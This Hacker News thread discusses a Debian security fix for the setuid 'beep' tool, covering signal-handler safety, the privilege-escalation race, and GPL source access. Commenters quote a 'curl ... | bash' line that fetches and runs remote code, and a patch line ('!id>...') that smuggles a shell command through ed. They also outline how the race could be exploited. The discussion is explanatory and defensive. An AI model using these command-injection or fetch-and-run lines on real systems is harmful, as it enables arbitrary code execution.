Beep security update | Hacker News Reader

Beep security update

debian.org

The author of beep needs to read the POSIX specification on async-signal-safety [1]. In particular, it is not safe to call exit, free, ioctl, putchar, or perror from a signal handler.

[1] http://pubs.opengroup.org/onlinepubs/9699919799/functions/V2...

> In particular, it is not safe to call exit, free, ioctl, putchar, or perror from a signal handler.

Why is it accepted by the compiler, then?

Why wouldn't it be? Why would a compiler know what a signal handler is?

Because signals and signal handlers are part of the language spec.

I was going to disagree and say that they are part of POSIX, not part of C99; but they are indeed part of C99, section 7.14.1 specifically.

Yeah, it’s a little surprising which parts are where sometimes, and if you spent most of your time on a POSIX system you can easily end up with the wrong assumptions.

How would the compiler know that a function was a signal handler?

It wouldn't. But it might be possible to make it impossible to call forbidden_function() from anywhere where it shouldn't be possible.

For example: the signal handler would be a function that accepts an argument of some kind, and the argument is the key to reaching all apis allowed from that point (e.g. the argument must be passed on to allowed apis, or the argument contains function pointers to all allowed functions, that is "OO-style").

I'm not saying this would be possible by any stretch of the imagination for POSIX.

How would you differentiate a function that takes an argument of some kind and handles signals from one that just takes an argument of that kind (e.g. for debugging, logging, or some other sort of introspection)?

Edit: to be clear -- I'm not asking this just to be snarky :-). Inferring functional information from nothing but semantic information with no functional implication is a very complicated problem that has very error-prone solutions. In C's case, in fact, I think C99 defines signal handlers as taking a single argument, an int. A compiler that doesn't let me call free from a function that takes a single integer argument wouldn't be too useful.

IRL, there are analysis tools that can help catch (a subset of) this sort of problem, but they are environment-specific and don't rely on just the function definition. They either look at the signal handler installation calls (but then they're restricted to information that's known at compile time!), or require some sort of annotation (e.g. via special comments a la Doxygen, or via macros etc.).

And even then, the sort of problems that they catch are specific to each environment. The restriction isn't that you shouldn't call <these functions> under POSIX, the restriction is that you shouldn't call functions that are not async-signal-safe (i.e. they're not re-entrant or they're not atomic with respect to signals). There are a few POSIX functions that are safe to call from signals (see man 7 signal-safety on a Linux box), but that list obviously doesn't cover user-defined functions -- some of which may be OK to call, others not so much.

You can probably determine if a function is async-call-safe with some static analysis but at this point, it's the sort of stuff that really doesn't belong in a compiler anymore...

To be clear: I wasn't suggesting that making everything context aware would be possible in either C or Posix. It would most likely require a complete rewrite of all APIs to begin with - including the C standard library. It would no longer resemble posix after that.

It's not something that can be solved on an API level. You can rewrite the C standard library all you want, you still won't be able to differentiate between this:

    void handle_signal(struct signal_handler_arg *arg)

which does signal handling

and this:

    void check_signal_info(struct signal_handler_arg *arg)

which validates a struct signal_handler, is called outside a signal handler, and doesn't do any signal handling.

Similarly, you would not be able to verify that this is okay:

    void handle_signalstruct signal_handler_arg *arg)
    {
        ...
        some_global_state->some_cb(...);
    }

If some_cb is populated at runtime, how do you know (at compile-time) that it's been populated with a function that's safe to call inside a signal?

> you still won't be able to differentiate between this > which validates a struct signal_handler, is called outside a signal handler, and doesn't do any signal handling.

Let's use a pseudo OO syntax:

    void foo(arg: argtype)
    {
        arg.do_thing(); // ok 
        frob(arg); // not possible - if frob might be forbidden anywhere then it's not callable like this
    }

That frob is forbidden isn't because the compiler detected that foo is a signal handler, but because no forbidden functions exist. I'm not sure this would be practical in this context - but it's the only way I can imagine to have a compiler detect that you don't call a particular function from a particular context. Basically, very few global/static functoins would have to exist, and no/very little global state as well.

I really don't know what you mean by this:

> That frob is forbidden isn't because the compiler detected that foo is a signal handler, but because no forbidden functions exist.

or this:

> not possible - if frob might be forbidden anywhere then it's not callable like this

I was trying to describe how an api would look where the compiler would make sure you could not call a certain function from a certain context. So I was trying to argue that then the api would have to be such that you can't actually import that function to that context.

So basically: say that putchar is the forbidden function. Then there exists no global function "putchar". There is no way to just "import" a header and call putchar in our language/api.

Instead, everything available to a function is what's passed to it (an interface to available API). So for example for a particular type of context (a handler, say) - a very restricted api is passed in as argument, meaning the code inside that function has very little api surface area to play with.

> I was trying to describe how an api would look where the compiler would make sure you could not call a certain function from a certain context.

It's not a certain set of functions that you want to forbid, it's a certain behaviour (e.g. being interruptible by signals, or being non-reentrancy). Forbidding functions won't get you anywhere. You can always forbid write(), but you won't be able to forbid functions that dynamically dispatch to write() at runtime, or user-defined functions that aren't reentrant.

Edit: i.e. when we say you shouldn't call write(2) from a signal handler, that's not because there's a list somewhere in a POSIX standard with functions that you shouldn't call in a signal handler and write(2) is on it \. That's because the POSIX spec allows write(2) to be interrupted by a signal and that's not okay inside a signal handler.

___

\ There might be one, I haven't looked at a POSIX spec in a long time now -- but either way, the point is that such a list is open :-).

I see. Preventing access to classes of behaviour is a harder problem. Reentrancy (single threaded - such as mutual recursion) must be really hard to detect with certainty other than at runtime, for example. In a multi threaded context it's obviously even harder.

Classifying functions into more categories like "interruptible", "uninterruptible" seems doable with enough language support. It doesn't look to far from what e.g. Rust and C# does with "unsafe", i.e. a status of functions that bubbles up so that your function may be tainted as unsafe by calling unsafe functions. If the number of classifications of functions is small as is the case with unsafe/safe, or uninterruptible/interruptible then it would seem possible to sort this out via compiler support and keywords for example. So for example a signal handler is then an uninterruptible function. It's a compiler error to call even indirectly, or dynamically dispatch to interruptible functions.

For any type of safety, dynamic dispatch obviously needs to be done in a type safe manner, so no pointer arithmetic/function pointer invocation can be allowed. Doing so would make the called code be assumed to be the worst of all categories: unsafe, interruptible etc). This is how unsafe/safe works too.

So while it's cumbersome I'm sure it would be possible to achieve at least to some extent, given an expressive enough language and a clever enough compiler.

You can teach the compiler. "How" is easy. "Should" is debatable. One can easily write a clang diagnostics pass to recognize few set functions.

It can't be done in general. A signal handler is just a function that at runtime is connected to a signal. With some work many or most unsafe handlers in the wild can be detected, but so can many other problems, I guess.

I'll bite. A helpful compiler would at an appropriate warning level tell you when you are setting a signal handler with a function you haven't (helpfully) annotated with some construct to say "this thing is a signal handler". Said helpful compiler would then also use this helpful annotation to forbid or loudly warn against a helpful subset of naught functions it is able to deduce are being called therein because human programmers cannot be reasonably expected to consume all 64 pages of POSIX function specs before calling any one of them. Seriously.

That's what I was saying. So why don't you step ahead and do it? I'm sure it will be not more than two weeks worth of work. And it will fatten up the compiler only a little bit. And it will annoy proficient programmers only a little bit. How would you deal with calling a function that is externally defined, so you can't easily check if it does something unsafe (or calls another function that does). I'd figure any attempt to check if a signal handler is safe would have to be either extremely expensive or pretty half-arsed.

(That's what I was saying, except the bit that programmers cannot reasonably be expected to understand what to do in a signal handler. That you should usually only set a (volatile) flag and return immediately, and should take extreme care if you really need to do more, is basically the first thing you learn when you read up on signal handlers. That's also completely obvious if you take a look at how they are implemented.)

Oh, I think we agree. Implementing the feature sounds like a right creeping pain for very little payoff. I would differ wrt "basically the first thing you learn when you read up on signal handlers" -- these days, the crazy kids writing code just start using the language and libraries. Learning why is usually the last thing learnt, and only when something, like a beeping-beep service, sets fire to something.

Yep, if programmers can't be bothered to read a few lines of manpage before using a new function as distinctly special as signal()/sigaction(), then I think there is no help in sight.

But on the other hand, the signals API might be a problem. Signals aren't exactly praised as a marvel of engineering. There probably is a need for something as low-level as that in some cases. But in the common case an API that just asynchronously sets a volatile flag when a signal is received, should be sufficient. Calls to "slow" devices are interrupted and return EINTR anyway.

Seems like a good job for static analysis/linting vs compiler.

Perhaps a better question is why signal handlers have these restrictions, and why they don't behave more like e.g. threads.

Other mechanisms have been designed, but they have different qualities. Probably none of them are as performant as signals, which might have been more important then than it is today. Creating a new thread for each single signal definitely feels wrong to me. Linux has signalfd() with which you can setup a signal-handling thread, but I think there are problems with that API as well. I think there is some value in being able to run a handler in the context of an existing thread the way traditional signals allow. (While I do vaguely remember that with common signals implementations it's very hard, or impossible, to control which thread is handling a signal).

Because they were modeled after interrupts, and can't be changed for historical reasons. (E.g. any code which relies on the atomicity of a signal handler with respect to its context thread would break.)

Signal handlers were always meant to be "top-half" interrupt handlers -- set a flag or put something in a queue for the main thread to process. signalfd(2) formalized this usage.

This is a really good point actually, aren't there static analysis tools that can figure out things like this? I know in JS we have linters to stop you from doing things that are most likely not very smart.

I find this very useful, a lot more useful than to say "If you don't even read the manpages there is no help in sight".

Maybe the compiler should not do it but perhaps you could run a linter against packages that are shipped with an os to find issues like this easier.

It's pretty likely that there are tools which can (attempt to) detect this. The question is why aren't these tools used. The answer is because they are expensive, and using them implies development costs as well - learning the tool, setting it up to filter out false positives, setting it up to run in an automated way, structuring the code differently so that the tool is happy (which can lead to worse structure), making sure all the remaining false positives aren't problems every time the tool is run. It's not what you do in an open source project that has a few lines of C code.

C has separate compilation: the compiler isn’t guaranteed to have all of the relevant source code at one time.

When the signal handler is compiled, there’s nothing to say “this will be used as a signal handler,” so while the compiler has the source it doesn’t have a reason to complain about calling any particular functions.

Then, when that function is used as a signal handler, the compiler has the source to the calling code (well, the code setting up the callback) but may not have the source for the handler itself. So now it knows which rules apply but may not have the code it needs to enforce those rules. If they’re in the same file, it could. And while that is a common case, it’s not the only possibility.

How much should the compiler or linter know about the platform’s API? How can I tell the compiler about any arbitrary rule my own code must follow?

As someone else suggested, you could do it with annotations, but that’s nonstandard.

I don't think there's a purely technical reason a non-standard linter cannot exist, but it's probably a large investment to build such a tool (filtering false positives, etc.) and no one has made one sufficiently good and popular enough to be used for a simple one-file-utility.

I'll be quicker to blame the signal API than the programming language on that front. Dealing with unix signals correctly and robustly is far from trivial and rife with footguns. For instance I believe that Rust still doesn't have a good general purpose solution for handling signals that doesn't involve the libc and unsafe code.

Signal is basically the crappiest form of IPC available on a modern operating system short of emulating a mouse and keyboard and typing into the other application's terminal window.

one of my favorite implementation of signal handling has always been DJB's qmail implementation (actually all his code incl djbdns, daemontools etc). His coding style has been a huge inspiration on writing easy to read and secure C.

> emulating a mouse and keyboard and typing into the other application's terminal window

There was a "talk"-like application for BBC Micro Econet called `*NOTIFY` which worked like that (minus the mouse, no mice in those days). You could message people, but also type commands as them. Happy days ...

The simplest way to write safe signal handlers is to only ever:

     - write(2) to STDERR_FILENO
     - write(2) to a "self-pipe" (i.e., a pipe where the same
       process is waiting on in its event loop), thus turning
       the async signal event into an async *I/O* event that
       can be handled without any constraints regarding
       async-signal-safety
     - _exit()

Yes, there are other async-signal-safe functions that can be called from a signal handler, but it's generally not worth it. Adhering to my more constrained approach will keep your code safe and will make it easier to always get it right.

ALSO, while we're at it, the only global or thread-local variables you can read from or write to from a signal handler must be of type volatile sig_atomic_t (or else volatile of any other integral or pointer type that you can use with atomic operations). This is very important. E.g., imagine using SIGUSR1/2 to manage verbosity levels...

Option 2 is very similar to how signal handlers work in Go. When a signal is received, a value is written to a channel and the library user is responsible for reading values from the channel and responding appropriately.

https://golang.org/pkg/os/signal/#example_Notify

It's the only sane thing to do.

A write(2) to STDERR_FILENO for verbosity/debugging is fine, but mostly you don't want to do this because it will interleave with any non-line-buffered stdio writes to it... An _exit(2) is also OK if you really want to do that, but generally you want to do some cleanup, so might as well do the self-pipe thing every time.

The only tricky thing is when you use SA_SIGINFO and you want to pass the siginfo_t data to the event loop. You can write(2) that to the self-pipe, but you have to be careful of the possibility that it will fill up. You can always create a new pipe(2), write(2) the siginfo_t to it, close(2) the write end, and send the read side fd via a socketpair(2) that the event loop listens to.

It is not the only sane thing to do.

kevent() is another way to handle signals. It puts handling them into the program's main event loop, which is done synchronously with normal event-dispatching mechanisms and so does not have worries about asynchronous signal safety, because with kevent() they are just another type of filter.

Sure, if you're going to use non-portable constructs, there're better alternatives to the self-pipe thing. Linux has something roughly similar with signalfd.

The nice thing about the write-a-byte-to-the-pipe thing is that it works virtually everywhere.

> ALSO, while we're at it, the only global or thread-local variables you can read from or write to from a signal handler must be of type volatile sig_atomic_t (or else volatile of any other integral or pointer type that you can use with atomic operations). This is very important.

I'd rather recommend C11 atomics without volatile. They use memory barriers to guarantee visibility, and getting the idea that "volatile" should be used in the context of atomics is a bad idea, as it allows reordering (unlike memory barriers).

This is a good question and doesn't deserve to be downvoted.

I think the reason must be that the problem lies in the intersection of three areas of development (the C programming language, the C standard library, and the POSIX operating system definition) and so requires coordination to solve.

Think about how you would implement warnings for failures of async-signal-safety. One approach would go like this:

1. In compiler front-ends, introduce a new attribute that can be attached to function declarations to indicate that they are async-signal-safe, for example __attribute__((async_signal_safe)), and a new attribute that can be attached to function parameters and struct members to indicate that the passed value must be async-signal-safe, for example __attribute__((require_async_signal_safe)).

2. In C library headers, apply the async_signal_safe attribute to all the async-signal-safe function declarations, and apply the require_async_signal_safe attribute to the parameter to the signal function and to the sa_handler member of struct sigaction.

3. In compilers, propagate the async_signal_safe attribute, so that any function that only calls async_signal_safe functions is also marked with the attribute.

4. In compilers, check that when a function is passed to a parameter or assigned to a member with the require_async_signal_safe attribute, the function is marked with the async_signal_safe attribute, and issue a warning if not.

This doesn't solve the whole problem (sometimes the compiler will not be able to know which function is going to be passed as the parameter to signal, because this is determined at runtime), and it might have false positives in obscure situations (you might in theory use a struct sigaction for some other purpose and never pass it to sigaction) but it would catch many cases, including the one in beep.

But notice the amount of coordination required. It would require input from several people with different areas of expertise.

It’s undefined behavior, which means the compiler is free to accept it and do something sensible, or failing subtle ways, or make demons fly out of your nose.

Because the compiler doesn't and cannot know the semantics of signal(2)/sigaction(2). There's what POSIX says, which a compiler could enforce using heuristics, and there's what your C library says. It's perfectly plausible to make a number of nominally not-async-signal-safe functions from the standard actually async-signal-safe in a particular C library. Granted, if you were to take advantage of such an extension, your code would not be portable.

(EDIT: The compiler doesn't even know that you're using POSIX. It can figure it out contextually. It doesn't know which C library you'll be linking with though. Bottom line: we need some C standards extensions, or failing that, GCC/Clang C extensions in order to best handle this, though there are some heuristics a compiler could implement even without those, at some mild risk.)

(E.g., suppose there was a thread-local counter of signal handlers on the stack... then stdio functions might be able to handle async-signal reentrance. It's not too farfetched, though it's obviously a lot easier to not bother at all and just leave the set of async-signal-safe functions being just the set of system calls that have sufficiently thin stubs in the C library.)

Now, the C standard could have additional keywords, much like, say, 'volatile' and friends, to describe async-signal-safety, reentrance, and other characteristics of functions. And if the C library and your programs used these then the compiler absolutely could warn or refuse to compile your program when you break the standard's rules.

Incidentally, Unix/POSIX signals are horrible. The only sane and portable way to handle them in programs that do I/O is to have an event loop and a "self-pipe" that the signal handler can write into so that the event loop can pick up and handle the signal as a normal async event in a context where there are no constraints on calling async-signal-unsafe functions. This is what I always do in my programs. I strongly recommend it. This means you don't need ppoll(2), pselect(2), signalfd(2), epoll_pwait(2), and so on -- you don't because you're always turning signals into normal I/O events, so you don't need to worry about signal blocking, and you don't need to use less widely available functions.

A signal handler is not special, it's just another function. So the compiler can't really apply the rules. Also this is a very limited subsection of all the many things you are not supposed to do in a signal handler.

From the beep readme:

By default beep is not installed with the suid bit set, because that would just be zany. On the other hand, if you do make it suid root, all your problems with beep bailing on ioctl calls will magically vanish, which is pleasant, and the only reason not to is that any suid program is a potential security hole. Conveniently, beep is very short, so auditing it is pretty straightforward.

https://github.com/johnath/beep

And all this time I've read that and thought "well at least you're putting it out there, just in case - almost for the sake of it"

Heh

Also see https://holeybeep.ninja/

I've got a couple of problems with that page:

* curl | sudo bash for two lines of script

* said script just checks if you have beep installed, not if you're vulnerable

Given the sardonic and amusing way the rest of the page is written, my guess is that's a part of the joke.

Not sure if you're aware of that but it's a joke page made as a parody of the recent "branded vulnerability" craze. I would definitely advise against running random scripts from joke pages, especially through sudo. In that regard notice the "TODO" line from the script:

    #!/bin/sh
    # TODO: Backdoor this machine?
    modprobe pcspkr
    beep -l 1000 -r 3 -f 44000

Just recently the script said this instead:

    #!/bin/sh
    curl https://l0.re/hb | bash
    modprobe pcspkr
    beep -l 1000 -r 3 -f 44000

And then that embedded URL says:

    echo ohai

But only after a long delay -- perhaps it is using one of the previously documented techniques to determine whether it's being piped to bash and behaving differently.

And now that I try the original curl again, that first line is gone completely:

    #!/bin/sh
    modprobe pcspkr
    beep -l 1000 -r 3 -f 44000

Strange.

> Is this an OpenSSL bug?

> No.

> How do I uninstall Linux?

> Please follow instructions.

Shirley it's not meant as a serious resource.

"I agree, but stop calling me 'Shirley'."

I don't see the need to qualify "curl | sudo bash" with it being a two line script for it to be problematical.

"curl | bash" or "curl | sudo bash" is problematical no matter how large or small the script.

Yes, I know some people say that it is no worse than downloading to a file and then running the file without reading the script, which is what almost everyone does anyway.

These people are wrong. Downloading to a file and running it from there is always better because if you notice something wonky sometime after running the script, it is easier to prove the script caused it if you saved a copy before running it.

If you "curl | bash" it and then you notice something bad has happened and you want to look at the script, you have to curl it again. But then how do you know that second curl gives the same script as the one you just executed? If I were distributing a malicious script, I would set up my server to serve a non-malicious script most of the time and just occasionally substitute my malware script, and it would only distribute the malware once for each IP address.

Either do "curl > file; bash < file" of "curl | tee file | bash" rather than "curl | bash" if you aren't interesting in examining the script before running it.

> I would set up my server to serve a non-malicious script most of the time and just occasionally substitute my malware script,

why not just detect the `curl | bash` part server-side?

I'm still amazed how many FOSS projects have that as the primary installation path...

https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-b...

The patch given on that page includes the line:

    !id>~/pwn.lol;beep # 13-21 12:53:21.000000000 +0100

Not bothering to test it, but I don't think that contributes to patching beep. Why do people always need to be annoying?

Congratulations. You found the actual exploit.

http://git.savannah.gnu.org/cgit/patch.git/tree/src/pch.c#n2...

patch calls /bin/ed. /bin/ed has a ! command that feeds stuff to /bin/sh. Feeding unreviewed patches to the patch command is actually arbitrary command execution.

This is particularly awesome if patch is being used by other programs (i.e. a CI pipeline or other contexts).

I'd love to hear the backstory. Who on _earth_ goes looking for vulnerabilities in beep?!

I was looking into this the other day. It was the original developer of the tool who found the vulnerability in it.

If I had to guess, I'd say they were doing it because it is often installed with suid root.

Edit: also, there's a challenge about this in the program's README :-)

"Decide for yourself, of course, but it looks safe to me - there's only one buffer and fgets doesn't let it overflow, there's only one file opening, and while there is a potential race condition there, it's with /dev/console. If someone can exploit this race by replacing /dev/console, you've got bigger problems. :)"

It should be pointed out that the README is wrong about the race condition – it is not limited to /dev/console, you can use the -e option to point it to a different output device.

It doesn't open /dev/console by default either (the default device is /dev/tty0).

I don't see where the race condition is, though.

I wouldn't assume that someone was actively looking for vulnerabilities there.

Perhaps a user got curious how is this implemented, looked at the source, and was horrified with what they saw.

https://github.com/johnath/beep/issues/11#issuecomment-37838...

The Debian patch with diff highlighting:

https://gist.github.com/jwilk/561ae35894756aae1e31503d0c52db...

AFAICS, it does this:

1) Fixes use of uninitialized memory.

2) Fixes double-free in the signal handler.

3) Makes sure that the device is opened only once.

I still don't understand what exactly the bug is supposed to be. I also don't understand what is the purpose of 3). With this fix applied, it's still possible for a user to open arbitrary file for writing with root privileges, which is bad.

How did you find the Debian patch? http://git.deb.at/w/pkg/beep.git doesn't seem to have any changes.

Probably not in that repo as the upload was done by the security team.

Best way to get the source is to run “apt-get source beep” on a Debian system.

Or if you don't have a Debian stable system at hand:

Go to https://packages.debian.org/stable/beep and download files from the "Download Source Package" section.

If you're only interested in the patch, get this one: http://security.debian.org/debian-security/pool/updates/main...

> it's still possible for a user to open arbitrary file for writing with root privileges, which is bad.

It appears that way at first, but: O_WRONLY mode will not create a new file, so you can't make files as root. If you open an existing file, it will fail later on the console device-specific ioctl. If that's the catch here, it does not seem trivial to exploit.

Not all the legacy ioctls are single device only.

Yeah, you can't create new files that way; but opening an existing file can have side effects (think of tape devices or named pipes).

My speculation on the race condition fixed in the patch:

The while loop in `main` calls `play_beep` multiple times. Each call to `play_beep` opens the `--device` and sets the global `console_fd`, and then sets the global `console_type` based on the `ioctl(EVIOCGSND)` error, before calling `do_beep`.

This normally prevents the user from writing to arbitrary files with `--device`, because without the `ioctl(EVIOCGSND)` succeeding, `do_beep` with `BEEP_TYPE_CONSOLE` only does a (harmless?) `ioctl(KIOCSOUND)`, not a `write` with the `struct input_event`. However, the signal handler calls `do_beep` directly using the globals set by `play_beep`...

So I image that with something along the lines of `beep --device=./symlink-to-tty ... --new ...`, you can rewrite the symlink to point to an arbitrary file during the first `play_beep`, and then race the open/ioctl in the second `play_beep` with the signal handler such that `do_beep` gets called with `console_fd` pointing to your arbitrary file, and with `console_type` still set to `BEEP_TYPE_EVDEV`, resulting in a `write` to your arbitrary file.

Exploiting that for privesc would require control over the `struct input_event` for the `write`... `handle_signal` calls `do_beep` with a fixed `freq` of 0, so all of the initialized fields are set to fixed values... However, there's an unitialized `struct timeval` at the beginning of the `struct input_event`, and it's allocated on the stack...

Seems like a curious security vulnerability, I'll assume the debian security team must have a working PoC in order to actually call it out as a local privesc vulnerability... I'd love to see the actual PoC eventually :)

Yeah, that makes sense. I took the liberty of pasting this comment to the upstream bug tracker:

https://github.com/johnath/beep/issues/11#issuecomment-37886...

There's now a PoC exploiting this race, seemingly placing the 32-bit -l option value into the uninitialized part of the `struct input_event` to modify a shell script that runs as root: https://gist.github.com/fkt/5f8f9560ef54e11ff7df8bec09dc8f9a

Remains to be seen if the PoC actually works though, I've been unable to win the race so far, although the varying ioctl errors indicate it might be close?

Can't one just

    sudo echo -e "\7”

anyway? Or if you're trying to do something fancier there is snd-pcsp which lets use use the piezo as a normal ALSA device (quality may vary). Not that many modern machines even include such a useful device.

Nitpick: on my machine, that's:

    sudo echo -e "\07"

Simply displaying a character doesn't need sudo at all anyway, so just

    echo -e "\07"

`sudo` isn't there for displaying the character, it's there for ioctl to have permissions to play the beep on remote terminals[1].

I think some terminal emulators (eg Konsole) will just read char 7 and play a system defined WAV or other workaround but your more classic terminals (eg xterm) would potentially have difficulties calling the system bell.

[1] for reference: Xorg terminals are also classed as remote terminals (eg check the TTY column in `w` to see how Linux assigns pseudo-tty's to terminal emulators inside X).

Even in that case, you'd have to run the terminal as root. Running echo as root won't do anything. X11 also has beep functionality built in, which is what I'd expect xterm to use.

> Even in that case, you'd have to run the terminal as root. Running echo as root won't do anything.

To be honest that was my assumption as well but I didn't test that theory so was only reporting on the rationale of the GPs post

> X11 also has beep functionality built in, which is what I'd expect xterm to use

X11 runs as root though (that said Xorg may not anymore now as there were talks about patching Linux so it didn't have to be) so Xorg could easily still use the standard ioctl bell (that's possibly all Xorg is doing behind the scenes in fact?)

But as I said earlier, some GUI terminal emulators avoid ioctl entirely and play a WAV tone instead.

"echo -e" is not portable, and neither are any escape sequences for echo.

The portable way to print ASCII BEL is:

    printf '\a'

Why would that need root? Is it not up to your terminal emulator to interpret the \7 and trigger the actual beep?

See the "A note about ioctl" section of the README: https://github.com/johnath/beep

That section says:

> there's only one file opening, and while there is a potential race condition there, it's with /dev/console. If someone can exploit this race by replacing /dev/console, you've got bigger problems. :)

However, by reading the source one can see that you can now tell beep where it should direct its output (-e, which is not documented anywhere), so the note above is no longer accurate.

I would guess that this is the crux of the problem – the patch that fixes the security issue basically changes "open the output device once for each beep" to "open the output device on startup", greatly reducing the number of races. (It also zeroes out the buffer that's being written to certain output devices, but I have no idea if that is also to patch this security hole or to proactively prevent uninitialized bytes from leaking.)

But echo doesn't do any ioctls. The only thing it does is writing bytes on stdout.

I guess the whole point of setuid is that no, you can't always "just sudo" :-)

Yes, it tries to do fancy things with ioctl().

If you're connected to a remote server, `echo` will annoy you and your cat, but `beep` will annoy the server administrator :)

I have long wished servers had functioning speakers.

And that virtio-beep existed.

I wonder what would happen if I pushed to get the support into KVM and the kernel. Best case scenario, the videos accompanying the too-bemused-to-really-be-angry bug reports would be legendary.

    #include <curses.h>
    main() { beep(); }

In fairness, the beep command does more https://linux.die.net/man/1/beep

Does GPL say anything about distributing source via git repositories? I mean, it talks about "preferred form of the work for making modifications". But when I click through to the Debian PTS page for Beep at https://tracker.debian.org/pkg/beep it shows a git link to http://git.deb.at/w/pkg/beep.git which was last modified 23 months ago, so obviously does not contain this security fix. How is the GPL upheld if security fixes aren't available together with the main git repository?

I don't mean to cause drama, because I think the Debian security team does an awesome job of keeping an eye on patching everything in the distribution. But I'm really curious about how one would go about with further development on a package like this when the git commits aren't available? There's probably a source tarball for the .debs in the apt repos (hard to tell from a mobile web browser) but is that good enough if it doesn't contain git commits?

Also I really just wanted to read this security patch source diff on the go :)

From https://packages.debian.org/source/stable/beep you can download the tarball of the original sources, as well as the debian patch on top of it.

(N.B.: I'm on the Debian ftpmaster team, which reviews all new software in Debian to ensure it matches our policies and commitments)

> Does GPL say anything about distributing source via git repositories?

Nope.

> I mean, it talks about "preferred form of the work for making modifications".

This is generally interpreted as a fancy way of saying "source code" — e.g. a minified JavaScript program or something that could be decompiled isn't the "preferred form… for making modifications".

Source for all Debian packages can be retrieved via `apt-get source PACKAGE`, and via sources.debian.org[3].

Historically, the only hard requirement was that all patches be made available as a `.diff.gz` applied against the upstream, although for many years packages have since standardised on using `quilt`[2]. Some maintainers may also use git (and wrappers around it) to make things easier to manage, but quilt is sufficiently straightforward to work with that it's acceptable for most purposes.

The VCS page on the BTS points to the repository for the package. It contains an unreleased version (1.3.3-5), the security update only is a patch on the previous version released in Debian.

The last upstream release was 1.3 (2010), available on GitHub[1]. This is a Debian-specific patch against beep. We'd like all patches to make it upstream, and ensure maximum clarity, but we have limited time, and our first priority is the users of Debian. Sometimes, upstreams lose time, or there are coordination issues that prevent it. (not saying that's the case here)

[1]: http://github.com/johnath/beep/ [2]: https://wiki.debian.org/UsingQuilt [3]: https://sources.debian.org/src/beep/unstable/

> Source for all Debian packages can be retrieved via `apt-get source PACKAGE`, and via sources.debian.org

But sources.d.o seem to lack security updates (or at least the security update for this package is missing). :-\

Thanks for your detailed reply.

I'm still curious about the general case of GPL and Git. If I were to hack on some GPL-licensed software, my "preferred form of the work for making modifications" would hands-down be a .git repository, because all the individual git commits and commitmsgs are important (meta-)information, almost as important as the source code files themselves. It also makes collaborating on improvements much easier when you can work on git commit objects, with their parent(s) commit hash references. Without those, determining where and if a .patch should be applied to a source code dump becomes much harder.

In other words, if there exists a .git repository for a given piece of software, and all one gets is a .tar.gz flat source dump snapshot, I feel like... something has been left out?

This came up when RedHat stopped breaking out their patches against the Linux kernel: https://lwn.net/Articles/432012/

Relevant parts quoted:

> While there can certainly be arguments about what "preferred form" means for source code distributions, Red Hat's actions here don't seem very close to the line. The basic idea is that the code be released in digital form, along with any build scripts, so that downstream developers can reproduce the GPL-covered binary that is being shipped. It is partly meant to prevent recalcitrant vendors from releasing the source on paper—or stamped into clay tablets in cuneiform. One could argue that those methods do provide the source code, but it certainly isn't in a form preferred by anyone—nor does it adhere to the "medium customarily used for software interchange" requirement.

> Obfuscated source code, where all the variables and function names get turned into unintelligible gibberish, or the source is deliberately split up in ways that are harder to work with, are a bit more of a gray area—but not much. Those kinds of actions should be seen as clear attempts to circumvent the GPL requirements. But that's not at all what Red Hat is doing.

> The tarball that Red Hat is releasing may not be the preferred form for the Red Hat kernel developers to use, but that is not part of the requirement. Tarball releases of GPL code are a longstanding tradition in the free software world. Many projects still do it that way and the FSF itself has made releases that way in the past. While it is nice to get some visibility into the version control system of a project, it certainly isn't required for GPL compliance. No one complained that Red Hat didn't provide access to its Git repositories back when it was still providing the broken-out patches, for example. A Git repository is definitely the preferred form for Red Hat developers to use, but there are lots of reasons that the company might want to keep its repositories to itself—something that is obviously within its rights.

Is it worrisome that the Debian distribution comes with a package with this note in the README

  Decide for yourself, of course, but it looks safe to me - 
  there's only one buffer and fgets doesn't let it overflow,
  there's only one file opening, and while there is a
  potential race condition there, it's with /dev/console.
  If someone can exploit this race by replacing /dev/console, 
  you've got bigger problems. :)

It also appears /dev/console is overridable, https://github.com/johnath/beep/blob/master/beep.c#L149.

It illustrates the author's attention to safety and security. Opposite of worrisome, even if it turned out exploitable.

True but same idea applies. If your end device is maliciously replaceable you've got bigger problems.

FWIW, that comment was written before the option to control the path beep uses was added. Without the option to control the path, the potential race is only exploitable by somebody who can write to /dev, in which case that person is already root.

There's the common minor error with perror(). Intervening printf("\a"); can foul the errno and you get the

beep: open: not a typewriter

That's hilarious

Next, somebody will find a security hole in True (1)

Reply on news.ycombinator.com